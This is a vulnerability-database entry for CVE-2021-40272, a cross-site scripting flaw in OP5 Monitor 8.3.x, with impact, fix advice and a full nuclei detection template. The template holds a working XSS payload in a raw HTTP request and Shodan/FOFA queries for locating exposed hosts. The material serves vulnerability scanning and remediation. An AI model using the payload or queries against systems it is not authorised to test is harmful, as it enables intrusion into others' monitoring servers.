HexBrain

Browse / CVEs / CVE-2021-40272

CVE-2021-40272· op5 / monitor· CWE-79

IRTS OP5 Monitor - Cross-Site Scripting

mediumseverity
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it

OP5 Monitor 8.3.1, 8.3.2, and OP5 8.3.3 are vulnerable to Cross Site Scripting (XSS).

Impact

Successful exploitation could lead to unauthorized access or data theft.

Fix

Update to the latest version of OP5 Monitor to mitigate the XSS vulnerability.

How to confirm it

Send: GET /api/help'onmouseover=alert(document.domain)/'/;/beta/license
Positive when: contains(body, "help\'onmouseover=alert(document.domain)/\'/;/beta/license?format=json\'>JSON") and contains_any(tolower(body), "op5 monitor", "itrs") and contains(content_type, "text/html") and stat…

Run it with nuclei: nuclei -id CVE-2021-40272 -u <target>

The full check
id: CVE-2021-40272

info:
  name: IRTS OP5 Monitor - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    OP5 Monitor 8.3.1, 8.3.2, and OP5 8.3.3 are vulnerable to Cross Site Scripting (XSS).
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Update to the latest version of OP5 Monitor to mitigate the XSS vulnerability.
  reference:
    - https://github.com/hosakauk/exploits/blob/master/itrs_op5_monitor_xss.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40272
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cve-id: CVE-2021-40272
    cwe-id: CWE-79
    epss-score: 0.01127
    epss-percentile: 0.66603
    cpe: cpe:2.3:a:op5:monitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"ITRS"
    fofa-query: title="ITRS"
    product: monitor
    vendor: op5
  tags: cve2021,cve,irts,op5,xss,vuln

http:
  - raw:
      - |
        GET /api/help'onmouseover=alert(document.domain)/'/;/beta/license HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(body, "help\'onmouseover=alert(document.domain)/\'/;/beta/license?format=json\'>JSON")
          - contains_any(tolower(body), "op5 monitor", "itrs")
          - contains(content_type, "text/html")
          - status_code == 401
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from